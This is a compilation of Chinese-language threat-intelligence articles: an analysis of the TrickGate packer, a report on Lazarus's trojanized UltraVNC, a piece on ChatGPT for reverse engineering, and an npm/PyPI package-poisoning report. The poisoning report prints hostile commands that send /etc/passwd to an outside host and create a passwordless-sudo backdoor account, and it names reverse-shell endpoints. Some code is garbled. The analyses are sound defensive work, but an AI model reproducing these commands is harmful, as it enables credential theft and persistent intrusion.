由於定期會改頭換面，TrickGate多年來一直沒有被人注意。這個特徵導致研究界通過眾多屬性和名稱來識別其身份。

雖然該打包器的包裝程序會不斷變化，但TrickGate外殼代碼中的主要構建模塊至今仍在使用中。

Check Point 的威脅模擬（Threat Emulation）解決方案成功檢測並阻止了TrickGate打包器。

介紹網絡犯罪分子日益依賴打包器來執行惡意活動。該打包器在黑客論壇上又叫Crypter（加密器）和FUD，使殺毒軟件更難檢測到惡意代碼。通過使用打包器，惡意分子可以更輕鬆地傳播惡意軟件，而影響更小。商業打包器即服務的主要特徵之一是，它不關心攻擊載荷是什麼，這意味著它可以用來打包許多不同的惡意樣本。該打包器的另一個重要特徵是它能改頭換面——該打包器的包裝程序會定期改變，因此不被安全產品發現。

TrickGate是一種典型的功能強大且有彈性的打包器即服務，多年來沒有被網絡安全產品所發現，並以不同的方式不斷改進自己。我們設法追查到了TrickGate的下落，儘管它會迅速改變外層的包裝程序。

TrickGate堪稱偽裝高手，因不同的屬性而被賦予了許多名稱。名稱包括TrickGate、Emotet的打包器、新的加載器、Loncom和基於NSIS的加密器等。我們聯繫了之前的研究成果，基本上確定這起活動似乎是作為一項服務來提供的。

TrickGate歷年來的活動我們首次觀察到TrickGate是在2016年底。當時，它被用來傳播Cerber勒索軟件。從那時起，我們一直在觀察TrickGate，發現它被用來傳播所有類型的惡意軟件工具，比如勒索軟件、RAT、信息竊取器、銀行木馬和挖幣軟件。我們注意到，許多高級持續性威脅（APT）組織和威脅分子經常使用TrickGate來包裝惡意代碼，以免被安全產品檢測出來。 TrickGate參與了包裝一些最臭名昭著的惡意軟件家族的活動，比如Cerber、Trickbot、Maze、Emotet、REvil、CoinMiner、Cobalt Strike、DarkVNC、BuerLoader、HawkEye、NetWire、AZORult、Formbook、Remcos、Lokibot和AgentTesla等。

1.png

圖1. TrickGate歷年來的活動

TrickGate的分佈在過去兩年裡，我們每週監測到40次到650次攻擊。據我們的遙測數據顯示，使用TrickGate的威脅分子主要攻擊製造業，但也攻擊教育設施、醫療保健、金融和商業企業。 這些攻擊遍布全球各地，越來越集中在中國台灣和土耳其。近兩個月使用TrickGate的最盛行的惡意軟件家族是Formbook，佔跟踪分佈總量的42%。

2.png

圖2. 2022年10月至11月期間的TrickGate統計數據

攻擊流程下面概述了涉及TrickGate的攻擊中常見的攻擊流程。

初始訪問打包器用戶進行的初始訪問可能會有很大差異。我們監測的打包樣本主要通過帶有惡意附件的網絡釣魚電子郵件來傳播，但也通過惡意鏈接來傳播。

初始文件第一階段主要以壓縮可執行文件的形式出現，但我們監測後發現了導致相同外殼代碼的許多文件類型和傳播手段。我們在第一階段觀察到以下文件類型：

壓縮文件：7Z、ACE、ARJ、BZ、BZ2、CAB、GZ、IMG、ISO、IZH、LHA、LZ、LZH、R00、RAR、TAR、TGZ、UU、 UUE、XZ、Z、ZIP、ZIPX、ZST。

可執行文件：BAT、CMD、COM、EXE、LNK、PIF、SCR。

文檔：DOC、DOCX、PDF、XLL、XLS、XLSX、RTF。

外殼代碼加載器第二階段是外殼代碼加載器，它負責解密和運行外殼代碼。

我們注意到三種不同類型的代碼語言用於外殼代碼加載器。 NSIS腳本、AutoIT腳本和C都實現了類似的功能。

外殼代碼外殼代碼是打包器的核心。它負責解密攻擊載荷，並將載荷悄悄注入到新進程中。

攻擊載荷攻擊載荷是實際的惡意代碼，負責執行預期的惡意活動。攻擊載荷因使用打包器的威脅分子而異。

3.png

圖3. 攻擊流程

我們在過去一年觀察到的不同攻擊流程的示例：

2022年2月24日

4.png

圖4. LNK攻擊流程

RAR：3f5758da2f4469810958714faed747b2309142ae

LNK：bba7c7e6b4cb113b8f8652d67ce3592901b18a74

URL：jardinaix[.]fr/w.exe

EXE：63205c7b5c84296478f1ad7d335aa06b8b7da536

2022年3月10日

5.png

圖5. PDF攻擊流程

PDF：08a9cf364796b483327fb76335f166fe4bf7c581

XLSX：36b7140f0b5673d03c059a35c10e96e0ef3d429a

URL：192.227.196[.]211/t.wirr/XLD.exe

EXE：386e4686dd27b82e4cabca7a099fef08b000de81

2022年10月3日

6.png

圖6. SFX攻擊流程

7Z：fac7a9d4c7d74eea7ed87d2ac5fedad08cf1d50a

EXE：3437ea9b7592a4a05077028d54ef8ad194b45d2f

2022年11月15日

7.png

圖7. AutoIT攻擊流程

R11：755ee43ae80421c80abfab5481d44615784e76da

EXE：666c5b23521c1491adeeee26716a1794b09080ec

外殼代碼加載器外殼代碼加載器通常含有一個函數，負責解密外殼代碼並將其加載到內存中。以下是基本步驟：

1. 讀取經過加密的外殼代碼。經過加密的外殼代碼可以存儲在光盤上的文件中、“.rdata”部分或存儲成資源。

2. 為外殼代碼分配內存，常通過調用VirtualAlloc來分配。

3. 解密外殼代碼。

4. 觸發外殼代碼。正如我們在下面解釋的那樣，這可以通過使用直接調用或回調函數來完成。

8.png

圖8. 外殼代碼加載器——去混淆處理的AutoIT版本

9.png

圖9. 外殼代碼加載器C版本

在較新版本的TrickGate中，外殼代碼加載器濫用“回調函數”機制。加載器利用許多原生API調用，這些調用將內存地址作為回調函數的參數。加載器傳遞的不是回調函數，而是新分配的內存（內有外殼代碼）的地址。當Windows到達註冊事件點時，DriverCallback 執行外殼代碼。這種技術通過讓Windows操作系統在未知時間運行外殼代碼來中斷我們所監測的行為流。在上面的外殼代碼加載器中，您可以在上面底部一行標有“EnumTimeFormatsA”和“EnumSystemCodePagesW”的配圖中看到這兩個示例。

外殼代碼相似性和TrickGate暫停當我們發現不相關的惡意軟件家族在代碼上存在相似性時，威脅分子通常更有可能從共享資源複製或共享某些片段的代碼。我們在很長一段時間內註意到一種獨特的注入技術，它結合使用直接內核系統調用的方法，但我們沒有意識到其重要性，以為它可能是共享代碼的片段。 我們在攻擊活動中看到了偶爾的“暫停”，這使我們懷疑這種獨特的注入技術可能完全由一個威脅團伙控制，畢竟幾個不同的團伙同時偃旗息鼓的可能性很小。最近一次暫停長達3個多月（從2022年6月13日到2022年9月26日），這讓我們有機會證實自己的猜疑，並深入研究外殼代碼。

10.png

圖10. 過去兩年的TrickGate

為了驗證猜疑，我們開始分析不同時間段的樣本。

我們通過將新樣本與舊樣本進行比較來開始分析。針對這一測試，我們使用2022-12_Remcos:a1f73365b88872de170e69ed2150c6df7adcdc9c與2017-10_CoinMiner：1a455baf4ce680d74af964ea6f5253bbeeacb3de作了比較。

我們分析行為後知道了外殼代碼存在相似性，於是運行樣本，直到外殼代碼在內存中被解密，然後我們將外殼代碼轉儲到磁盤上。接下來，我們使用歸谷歌所有的Zynamics BinDiff工具，以檢查兩個外殼代碼的相似性。結果顯示，測試的外殼代碼存在50%的相似性。沒料到在很長一段時間內（超過五年）對於相當大的外殼代碼（~5kb）而言存在50%的相似性。這自然讓人懷疑這可能是由人維護的外殼代碼，但我們需要進一步的證據表明在較短的時間內存在相似性，看看它是否逐漸變化。

11.png

圖11. 從2022-12_Remcos：a1f73365b88872de170e69ed2150c6df7adcdc9c和2017-10_CoinMiner：1a455baf4ce680d74af964ea6f5253bbeeacb3de提取的外殼代碼的BinDiff結果比較

為了進一步分析，我們抽取了過去六年的隨機樣本。針對每個樣本，我們轉儲了外殼代碼，並檢查一段時間內結果的相似性。正如你在下圖中所看到，結果表明逐漸出現的變化很小。在左側，我們看到從2016年到2020年的樣本顯示存在大約90%的相似性。在右側，我們看到分叉版本本身存在很高的相似性，但左側原始版本的相似性較低。

12.png

圖12. 提取的外殼代碼的Bindiff結果

然後我們深入研究外殼代碼之間的差異，看看以下方面帶來的影響：

不同的編譯器

混淆

規避模塊

持久性模塊（在下次登錄時運行載荷）

函數順序

局部變量和結構

我們隨後得到了打包器的核心功能。編寫者不斷維護外殼代碼，但使用下一節中描述的“構建模塊”。

13.png

圖13. 控制流程圖—關於主注入函數。比較2016-07_ Cerber：24aa45280c7821e0c9e404f6ce846f1ce00b9823與2022-12_Remcos：a1f73365b88872de170e69ed2150c6df7adcdc9c的差異

14.png

圖14.比較NtWriteVirtualMemory 2022-12_Remcos: a1f73365b88872de170e69ed2150c6df7adcdc9c與2016-07_Cerber: 24aa45280c7821e0c9e404f6ce846f1ce00b9823的NtWriteVirtualMemory內核直接調用差異

TrickGate外殼代碼的構建模塊如上所述，外殼代碼一直在不斷更新，但自2016年以來主要功能出現在了所有樣本上。外殼代碼的構建模塊概述如下：

API哈希解析。

加載到內存中，並解密攻擊載荷。

使用內核直接調用進行注入。

手動映射ntdll 的新副本。

動態檢索內核系統調用編號。

調用所需的系統調用。

注入並運行攻擊載荷。

API哈希解析我們分析TrickGate代碼時，並沒有發現常量字符串。很多時候，TrickGate有意添加干淨的代碼和調試字符串以規避任何分析。為了隱藏所需的字符串及其意圖，TrickGate使用了一種名為API哈希的常用技術，即所有需要的Windows API都使用哈希數來隱藏。在2021年1月之前，TrickGate一直使用CRC32對外殼代碼字符串進行哈希處理。在新版本中，TrickGate開始使用自定義哈希函數。

過去兩年使用的等效Python哈希函數：

defhash_str_ror1(str):h=8998forcinstr:h+=ord(c)+(((h1)0xffffffff)|((h7)0xffffffff))returnh0xffffffffdefhash_str21(str):h=8998forcinstr:h=ord(c)+(0x21*h)returnh0xffffffff

以下Kernel32 API名稱已在TrickGate樣本中進行了哈希處理：

15.png

圖15. API哈希

加載到內存，並解密攻擊載荷。

TrickGate總是改變解密攻擊載荷的方式。大多數樣本使用自定義解密方法，但在較老的樣本中我們也看到了已知的加密器（比如RC4實現）或使用Windows API進行加密。

使用內核直接調用的注入：

在解密攻擊載荷之後，外殼代碼隨後將載荷注入到新創建的進程中。在使用create_suspended標誌創建進程之後，通過對內核的一系列直接調用來完成注入。針對這每一個ntdll API調用：

NtCreateSection

NtMapViewOfSection

NtUnmapViewOfSection

NtWriteVirtualMemory

NtResumeThread

執行如下操作：

從磁盤手動映射ntdll的新副本。

解析新映射的ntdll中某個特定哈希的地址。

動態提取所請求的系統服務號（SSN）。

使用SSN直接調用內核。

Windows 64位：使用Heaven’s Gate技術和SYSCALL SSN切換到64位模式

Windows 32位：調用SYSENTER SSN

16.png

圖16. 函數調用圖：來自手動映射的DLL的SYSCALL ID

TrickGate調用直接系統調用的方式很有意思，因為它使用了類似Hell’s Gate的技術。 Hell’s Gate是2020年公開提出的一種技術，這種方法動態檢索和執行直接系統調用號。在這裡，你可以找到可追溯到2016年的樣本，它們設法完成了檢索和執行直接系統調用的等效操作，不需要維護系統服務描述符表（SSDT）。

17.png

圖17. SSN動態提取2016-07_Cerber: 24aa45280c7821e0c9e404f6ce846f1ce00b9823

注入模塊是多年來最穩定不變的部分，自2016年以來一直出現在所有的TrickGate外殼代碼中。

結語我們創建了將過去六年裡最臭名昭著的惡意軟件與一個名為TrickGate的打包器即服務相關的字符串，TrickGate能夠改頭換面，因而難以識別和追踪它。了解該打包器的構建模塊對於檢測這種威脅至關重要，因為阻止打包器就可以在早期階段趁攻擊載荷還沒開始運行及時防范威脅。

由於研究人員往往將注意力集中在實際的惡意軟件上，打包器通常不太受關注。然而，現在可以將已識別身份的打包器用來檢測新的或未知惡意軟件。

HireHackking

1、概述Lazarus組織近期利用社交平台實施新型釣魚攻擊，通過社交平台誘導受害者使用被改造成木馬的開源軟件，從而獲取到受害主機的控制權限。觀成科技安全研究團隊發現該組織在某次攻擊活動中使用了被改造成木馬的開源軟件UltraVNC。 UltraVNC是一款開源的遠程管理工具，Lazarus組織在該工具中嵌入了惡意下載器。下載器會從CC服務器（互聯網失陷主機）獲取惡意DLL並在內存中加載，與服務器的CC通信全程使用HTTPS加密協議，加密載荷裡的通信交互數據本身又使用了自定義的加密方式進行二次加密。

2、通信過程表2-1 樣本信息表

image.png

該樣本類型為ISO，其中包含兩個文件：Amazon_Assessment.exe、ReadMe.txt。木馬化UltraVNC執行後，通過HTTPS加密協議上傳系統信息，從CC服務器下載並執行擴展DLL文件。

1.png

圖2-1 木馬化UltraVNC通信過程圖

2.1上線木馬化的UltraVNC獲取註冊表鍵值”\HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer”，即受害主機的生產廠商信息和工作組名稱，用“|”符號連接後進行Base64編碼並附加在樣本中硬編碼的URL後面，形如：https://kaonnews.com/wp-admin/network/sitemap.php?2E9AE1F528B27A798D8BE424E4E7A4E6=。然後，URL使用單字節0x89進行異或加密，加密後的信息通過HTTPS加密協議發送給CC服務器。見圖2-1中的①。

2.png

圖2-2 上線包（HTTPS）

3.png

圖2-3 上線包（HTTPS解密後）

2.2解密釋放惡意DLL攻擊者通過社交平台誘導受害者使用木馬化的UltraVNC連接ReadMe.txt中記錄的IP 54.182.16.65後，見圖2-1中的②。 UltraVNC中攻擊者添加的代碼會計算該IP字符串的哈希值，將其作為密鑰，循環異或解密樣本中包含的惡意Dll文件，並在當前進程中加載運行。

2.3上傳系統信息惡意DLL獲取電腦名、系統磁盤信息、用戶名、當前進程ID等信息，生成隨機數作為通信校驗的key（也用於URI生成）。

4.png

圖2-4 DLL中硬編碼的通信URL

5.png

圖2-5 上傳信息數據（加密前）

DLL對數據進行ZIP壓縮+自定義加密+Base64編碼處理後使用HTTPS加密上傳到CC服務器，見圖2-1中的③。

6.png

圖2-6 上傳系統信息（HTTPS）

7.png

圖2-7 POST上傳系統信息（HTTPS解密後）

8.png

圖2-8 自定義加密算法

2.4URI生成DLL除上線包外使用的URI均隨機生成，URI參數數量為1到3個。 DLL首先生成第一個隨機數用來選擇不同的參數，參數列表如下圖所示，再生成第二個隨機數來決定參數的值，參數值可以是隨機字符串，也可以是參數字符串與通信檢驗的Key加法運算後的數據。

9.png

圖2-9 通信隨機選取的部分參數列表圖

2.5下發後續攻擊載荷該DLL在使用POST請求上傳系統信息後，每分鐘向目標URL發送無載荷GET請求，用來獲取下階段攻擊載荷。 CC服務器下發的數據也經過了ZIP壓縮+自定義加密+Base64編碼。該DLL接收到下發的數據後解密，解密後的數據包含URL（用來替換樣本通信的URL）以及擴展DLL文件，樣本會加載運行下載的擴展DLL，作為下階段攻擊載荷，見圖2-1中的④。

10.png

圖2-10 模擬服務器下發後續載荷格式圖

3、總結Lazarus組織在該款木馬化開源工具中硬編碼了多個常見的URL參數字段，發送心跳包時，使用隨機數來選擇參數、生成參數的值，導致了心跳包長度不固定，弱化了加密通信中的數據長度特徵。 Lazarus組織使用的CC服務器為失陷主機，TLS通信證書為失陷主機的正常HTTPS業務證書，從而將攻擊流量隱藏到了大量的正常HTTPS訪問流量之中，阻礙了研究人員對其服務器特徵的收集。但是該款木馬化開源工具訪問失陷主機的TLS客戶端指紋和瀏覽器正常訪問失陷主機的TLS客戶端指紋是有較大差異的。另外該工具在請求後續載荷的時候有每分鐘1次的心跳行為，雖然心跳包長度並不固定，但是長度是在一定範圍內變化的，具有一定流行為特徵。

HireHackking

ChatGPT是人工智能研究實驗室OpenAI新推出的一種人工智能技術驅動的自然語言處理工具，使用了Transformer神經網絡架構，也是GPT-3.5架構，這是一種用於處理序列數據的模型，擁有語言理解和文本生成能力，尤其是它會通過連接大量的語料庫來訓練模型，這些語料庫包含了真實世界中的對話，使得ChatGPT具備上知天文下知地理，還能根據聊天的上下文進行互動的能力，做到與真正人類幾乎無異的聊天場景進行交流。 ChatGPT不單是聊天機器人，還能進行撰寫郵件、視頻腳本、文案、翻譯、代碼等任務。

接下來就讓我們看看ChatGPT如何幫助我們解決一些常見的逆向工程和惡意軟件分析難題。

1.學習如何更有效地使用逆向工程工具軟件工具通常帶有不同程度的內置幫助，它們所缺少的通常由專門的用戶論壇和問答網站（如Stack Overflow、Stack Exchange等）來彌補。 ChatGPT為快速獲得逆向工程工具的幫助增加了另一條途徑。

無論你是使用IDA Pro、Ghidra、Radare2、Hopper、Cutter還是其他一些逆向引擎平台，ChatGPT都能提供幫助。雖然所有這些平台都包含自己的內置幫助功能，但如果ChatGPT的培訓模型中已經涵蓋了這些問題，那麼你可能會發現它能夠回答與你自己的用例相關的特定問題，這是一種更快完成任務的方式。

1.jpg

使用ChatGPT作為radare2的交互式幫助助手

2.自學彙編語言ChatGPT擅長傳達相關信息。

例如，ChatGPT提供了關於函數調用基礎知識和相關堆棧內存管理活動的回答。

2.jpg

我們可以要求ChatGPT在其輸出中或多或少詳細一些。例如，在這裡，我們希望得到一個堆棧幀的視覺表示。

3.jpg

ChatGPT描述了一個堆棧框架

彙編代碼是特定於平台和編譯器的。如果向ChatGPT發出的程序集相關問題不包括與編譯程序集的平台（即指令集）或更高級別語言相關的特性，ChatGPT將提供相關的免責聲明信息，以正確定位答案。

ChatGPT可以幫助攻克彙編難題的另一種方式是將用戶熟悉的高級代碼轉換為彙編代碼。這通過將熟悉的概念映射到其內部來促進學習。我們觀察到，ChatGPT可以很好地處理各種主題，包括在學習彙編時至關重要的重要概念，例如指針和函數指針調用。 ChatGPT的響應通常包括帶註釋的彙編代碼，這進一步提高了學習效果。

4.1.png

4.2.jpg

ChatGPT將高級代碼轉換為程序集

3.了解源代碼如何轉換為反彙編作為惡意軟件分析師，我們大部分時間都是從反彙編者的角度來看待惡意軟件。編程語言的經驗和知識在這里至關重要，但ChatGPT可以幫助我們了解已知源代碼在反彙編程序中的樣子，以及代碼更改如何在反彙編中反映出來。新手可以通過編寫自己的源代碼來推斷一些反彙編代碼可能會做什麼，並查看它是否與他們正在查看的反彙編類似。這可以幫助經驗不足的分析人員加深對惡意代碼的理解。

5.1.jpg

5.2.gif

4.快速編寫PoC源代碼ChatGPT甚至可以幫助我們編寫測試理論所需的源代碼。例如，我們可以問AI以下問題：

6.png

然而，有時候ChatGPT需要一點引導。在寫完我們請求的函數後，它決定將分解任務委託給我們:

7.jpg

首先，我們從前面的答案中復制代碼，然後在給出明確的指令後粘貼它。

8.jpg

現在，我們得到了我們正在尋找的分解結果。

9.jpg

5.指令集之間的轉換鑑於彙編代碼是特定於平台的，經驗更豐富的逆向工程師可以利用ChatGPT查詢不同的指令集，而不是他們已經熟悉的指令集。一種方法是指示ChatGPT將編寫在一個指令集中的彙編代碼轉換為另一個指令集。

10.jpg

ChatGPT將x64彙編代碼轉換為ARM

這為進一步探索感興趣的指令集提供了基礎，例如，通過查詢ChatGPT關於翻譯後代碼中指令的進一步信息。

11.jpg

ChatGPT解釋了blx ARM指令

6. 比較語言或特定於平台的約定有經驗的逆向工程師還可以從使用ChatGPT查詢編程語言和平台的內存管理技術的差異中受益，例如調用約定。

12.jpg

ChatGPT比較調用約定

在撰寫本文時，ChatGPT正在使用2021年之前的訓練數據進行訓練。因此，如果某些平台或高級語言的特性在某個時間點之後發生了變化，ChatGPT不會提供當前信息。調用約定更改的一個例子是在Golang語言中從基於堆棧的調用約定轉換為基於寄存器的調用約定。

有經驗的逆向工程師，特別是惡意軟件分析師，可以利用ChatGPT來熟悉日益流行的編程語言的高級結構，以及這些結構是如何在彙編中表示的。例如，內存安全的Golang和Rust越來越多地被惡意軟件開發人員採用。

13.jpg

7.分析惡意軟件樣本中的代碼段ChatGPT能夠解釋和分析與逆向工程相關的代碼，包括偽代碼和彙編代碼。這使得ChatGPT在分析惡意軟件可執行文件的代碼段(如函數)時非常有用，主要是因為ChatGPT可以提供代碼執行活動的摘要。

這可以顯著提高惡意軟件逆向工程師的效率。 Gepetto IDA Pro插件在IDA Pro中集成了ChatGPT，並查詢語言模型以提供由Hex-Rays反彙編程序反編譯的函數的含義。

解釋代碼的能力還可以對代碼進行比較，使惡意軟件分析人員能夠了解不同惡意軟件樣本實現之間的差異。

為了在分析人員通常需要的描述性級別上總結代碼的功能，ChatGPT可能缺少所需的關於分析中的可執行文件的更廣泛的上下文，而分析人員可能擁有這些上下文。

假設分析師很少或沒有向ChatGPT提供上下文，如果所分析的代碼與其目的相關，那麼該模型將提供最大的即時價值。在實踐中，這通常意味著代碼不會調用以ChatGPT未知的方式擴展代碼功能的用戶定義函數，但如果它調用函數，則它們是已知的、公開記錄的庫函數。由於ChatGPT是基於公開可用的數據進行訓練的，因此語言模型此時可以準確地解釋在用戶提供的代碼中使用這些函數的情況。

例如，如果提供給ChatGPT的偽代碼引用了公開記錄的庫函數，則ChatGPT對代碼用途的解釋將圍繞這些函數的功能展開。

14.jpg

ChatGPT通過解釋十六進制射線偽代碼來討論函數的用途

為了從ChatGPT中獲得更好的代碼分析輸出，用戶仍然需要:

制定實質性的ChatGPT查詢，以便提供所需的上下文;

與ChatGPT進行對話，在對話期間提供上下文，並完善ChatGPT的答案;

嘗試在回答的末尾使用“重新生成響應”選項，這似乎是對ChatGPT的一種“再努力一點”的指示。

向ChatGPT添加更多上下文可以包括用戶定義函數的功能，這些功能是分析師所了解的。上下文信息可以以編程的方式提供，以減少人工分析人員的工作量，例如，通過為此目的開發的反彙編程序插件。

這同樣適用於從非技術角度改進ChatGPT的輸出。例如，ida_gpt(一個通過查詢ChatGPT來協助程序集代碼分析的IDA Pro插件)分別為分析和重構程序集代碼製定了下面的查詢。

下面是ida_gpt ChatGPT查詢的幾個示例:

15.png

8.識別代碼中的惡意活動惡意軟件分析師可以使用ChatGPT來識別某個功能可能實現的潛在惡意活動的指示器。這對於將惡意軟件可執行文件中的功能映射到特定的惡意功能非常重要，類似於capa IDA Pro插件的功能。

在這種情況下，我們觀察到ChatGPT能夠對函數中惡意活動的所有指標的強度進行優先級排序。因此，惡意軟件分析師可以確定與ChatGPT的交互範圍，以更詳細地討論最強指標。

例如，OpenGPT將vssadmin.exe的執行確定為下面偽代碼中惡意活動的最強指標。

16.jpg

16.2.jpg

16.3.jpg

ChatGPT評估惡意活動的指標

9.推測功能目的和目標除了識別惡意活動指標外，惡意軟件分析師還可以進一步與ChatGPT對話，以推測並更好地了解惡意軟件如何使用特定平台或軟件結構以及達到何種目的。即使在分析師沒有提供全面背景的情況下，這也可能是有效的。

例如，下面的勒索軟件偽代碼代碼使用Microsoft Cryptographic API（CAPI），也稱為CryptographicAPI：下一代（CNG）加密架構，用於加密數據。

17.1.jpg

17.2.jpg

17.3.jpg

ChatGPT討論了惡意軟件對CAPI的使用

10. 了解漏洞並利用代碼了解漏洞是如何工作的，惡意軟件開發者如何利用它們，以及我們如何識別和檢測它們在代碼中的使用是一項極具挑戰性的任務。 ChatGPT在這方面也可以幫助我們。

讓我們以CVE-2022-468889為例，看看ChatGPT是否可以幫助我們理解代碼的工作原理。

18.jpg

ChatGPT為我們提供了以下解釋。

19.jpg

人工智能最初找到的答案還是可以的，但它顯然不了解漏洞的更廣泛背景。我們可以通過提供更多信息來幫助它。因為ChatGPT是上下文感知的，所以我們不需要重複前面的問題或再次粘貼前面的代碼。

20.jpg

讓我們看看它現在提供了什麼答案。

21.jpg

ChatGPT解釋了CVE-2022-46889的漏洞代碼

由於ChatGPT的上下文意識，研究人員有可能深入了解這一解釋中他們希望了解更多信息的任何特定部分。

正如我們在前面的挑戰中看到的，我們還可以要求在反彙編中表示，以查看惡意軟件示例中的部分或全部利用代碼。

11. 協助自動化逆向工程任務反向工程師轉而使用腳本語言來自動化手動完成的重複或容易出錯的任務，例如重命名變量或大規模地對混淆的代碼進行解混淆。這可以顯著地加快和提高逆向工程任務的效率。 ChatGPT能夠編寫代碼，包括IDAPython, IDA Pro反彙編程序的腳本語言。

22.png

ChatGPT編寫IDAPython腳本

由於ChatGPT目前使用2021之前的數據進行培訓，並且IDAPython正在進行定期更改，我們觀察到ChatGPT經常編寫過時的IDAPythin腳本。因此，我們評估了ChatGPT生成的IDAPython代碼最實際的用例可能是作為模板代碼，用戶可能需要對其進行輕微或適度的調整，以使代碼在當前部署中發揮作用。這通常涉及更改引用的模塊和函數名，以適應IDAPython API中的更改。需要少量或適度修改的模板IDAPython代碼在需要編寫的IDAPython代碼中非常實用。

總結總的來說，ChatGPT可以：

生成惡意代碼執行的功能和操作的解釋和摘要，這可以幫助逆向工程師和惡意軟件分析師了解其目的和行為。

協助分解和反編譯代碼，將其分解為更小、更易於管理的塊進行分析。

幫助逆向工程師和惡意軟件分析師了解代碼庫不同部分之間的關係以及它們如何協同工作，這對識別和理解代碼依賴性很有用。

通過生成漏洞及其潛在影響的解釋和摘要，協助識別和理解代碼漏洞。

幫助逆向工程師和惡意軟件分析師了解用於混淆代碼的技術，這對於分析和消除惡意代碼非常有用。

協助生成代碼分析和惡意軟件分析結果的文檔和報告。

為進一步分析提供指導和建議，幫助逆向工程師和惡意軟件分析人員確定工作的優先級，並將重點放在工作的最重要方面。

用於創建逆向工程和惡意軟件分析培訓的教材和練習，幫助培養這些領域的技能和知識。

通過提供信息和分析結果的共享存儲庫，幫助促進團隊成員之間的協作，這有助於提高效率和有效性。

協助生成用於代碼和惡意軟件分析的測試用例和場景，幫助確保分析是徹底和全面的。

通過生成代碼和惡意軟件行為的解釋和摘要，為法律和法醫調查提供幫助，這對於構建案例和演示惡意活動的影響非常有用。

對於初學者，ChatGPT可以全面介紹掌握逆向工程所需的概念和技能，例如彙編語言的基礎知識和了解程序如何構造和運行所需的背景知識。

對於經驗豐富的逆向工程師和惡意軟件分析師，ChatGPT可以用於自動化和加速逆向工程任務，例如分析代碼和了解其功能。 ChatGPT對逆向工程師和惡意軟件分析師的回答的價值取決於提供給語言模型的上下文信息的數量。這可以通過向ChatGPT發出上下文完整查詢或與ChatGPT進行對話以改進答案來實現。

在未來，ChatGPT有可能變得更強大，對逆向工程師和惡意軟件分析師更有用。隨著不斷的發展，可能會克服其當前的一些限制，例如對數據的操作依賴性是有限的，並且具有過去的時間戳。通過解決這些限制，ChatGPT可以成為逆向工程師和分析師不可或缺的工具，提供準確高效地分析代碼所需的信息。

HireHackking

概述懸鏡供應鏈安全情報中心通過持續監測全網主流開源軟件倉庫，結合程序動靜態分析方式對潛在風險的開源組件包進行動態跟踪和捕獲，發現大量的開源組件惡意包投毒攻擊事件。在2024年2月份，懸鏡供應鏈安全情報中心在NPM官方倉庫（https://www.npmjs.com）和Pypi官方倉庫（https://pypi.org）共捕獲503個不同版本的惡意組件包，其中NPM倉庫投毒佔比89.46%， Pypi倉庫投毒佔比10.54%，NPM倉庫依舊是開源組件包投毒的重災區。

图片

2024年2月份投毒包總量

图片

2024年2月份投毒包每日統計

結合源代碼分析、動態行為監控等方式，我們對2月份捕獲的開源組件投毒包進行多維度分析，總結統計出主流的攻擊方式和惡意行為標籤。

投毒攻擊方式主要包括：

马云惹不起马云惡意文件執行

马云惹不起马云代碼混淆執行

马云惹不起马云惡意文件下載

马云惹不起马云shell命令執行

马云惹不起马云惡意文件釋放

其中，惡意文件執行是最常用的攻擊方式（佔比78.13%），其主要攻擊流程是利用開源組件包管理器在安裝組件包過程中利用自定義的惡意指令來加載並執行內置在組件包中的惡意文件(py、pyc、js、shell、pe、dll、elf、so等)。此外，在組件安裝包中直接嵌入惡意shell命令（佔比8.87%）、惡意文件下載（佔比4.28%）及惡意文件釋放後執行也是投毒者慣用的攻擊手法。為了逃避安全檢測，部分惡意包使用了代碼編碼、加密及混淆（佔比7.61%）等方式進行惡意代碼隱藏。

图片

攻擊方式統計

在所有投毒包的惡意行為中，竊取系統信息佔比超過85%，信息竊取的主要目標是開發者係統的密碼文件、用戶信息、網絡配置、系統版本、DNS服務器IP、系統外網IP、瀏覽器Cookie等敏感數據。其次，遠控木馬和反向shell後門攻擊緊隨其後（兩者之和占比約10%）。此外，在2月裡捕獲到多起盜取數字錢包客戶端敏感數據的投毒攻擊。值得一提的是，我們在NPM組件投毒中首次捕獲到通過添加Linux系統後門賬戶進行遠程控制的攻擊手段。

图片

惡意標籤統計

投毒案例分析本節將從2月份捕獲的開源組件惡意包中精選部分具有代表性的投毒樣本進行分析，還原投毒者的攻擊方式和細節。

Part1敏感信息竊取Python惡意包djanggo利用包名錯誤拼寫(typo-squatting)來偽裝成知名Python WEB組件django，以此迷惑混淆Python開發者誤安裝該惡意包。

图片

知名Python組件django

djanggo惡意包通過在安裝文件setup.py中重定義cmdclass install及egg_info實現在安裝時自動觸發執行惡意函數RunCommand()。

图片

RunCommand()函數內部通過subprocess模塊調用Linux系命令curl將當前系統環境變量、進程列表等信息通過HTTP POST外傳到攻擊者服務器上。

图片

此外，多個NPM惡意組件包(lib-comdig、bubble-dev)在安裝過程中存在竊取系統密碼文件的行為。以惡意包bubble-dev為例，其安裝包的package.json文件中包含惡意shell命令：

图片

攻擊者嘗試利用preinstall指令在NPM包安裝前執行惡意命令將系統/etc/passwd密碼文件及主機名等敏感信息外傳到攻擊者服務器上。

/usr/bin/curl--data'@/etc/passwd'$(hostname).7ksx7nnc5joia8xbftjmkh69s0ysmh.burpcollaborator.netPart2系統後門賬戶NPM惡意包browser-spoof在安裝時會執行惡意代碼index2.js, index2.js將從CDN服務器上拉取惡意bash文件sh.sh到受害者係統上執行。

图片

bash惡意代碼如下所示：

wget-qhttps://ezstat.ru/29U6f5;sudouseradd-m-Gsudo-s/bin/bash-p$(opensslpasswd-1ICEWATER)systst2echo'systst2ALL=(ALL:ALL)NOPASSWD:ALL'|sudotee-a/etc/sudoers/dev/null;先通過wget請求將受害者係統出網IP洩露給攻擊者，接著利用useradd命令在系統中添加新的用戶賬戶；最後使用tee命令將新用戶賬戶添加到sudoers文件中，將新賬戶權限提升到sudo權限。

Part 3反向shell後門攻擊者通常在投毒組件包中直接內置反彈shell命令或者通過腳本語言特性將開發者係統shell反彈到攻擊者服務器上，開發者一旦通過包管理器安裝或加載投毒包時，反彈shell代碼將自動執行，導致開發者係統被攻擊者遠程shell控制。

以Python惡意包isred為例，該投毒包目標針對Linux系統，攻擊者在isred模塊入口文件__init__.py中使用socket將受害者係統shell標準輸入、輸出重定向到攻擊者服務器(0.tcp.au.ngrok.io:16311)，從而實現對受害者係統的反向shell遠控。

图片

對於NPM倉庫的ts-patch-moongoose惡意包，目標主要針對Windows系統，其惡意文件mongoose.js通過調用child_process模塊執行base64編碼的PowerShell惡意命令。

图片

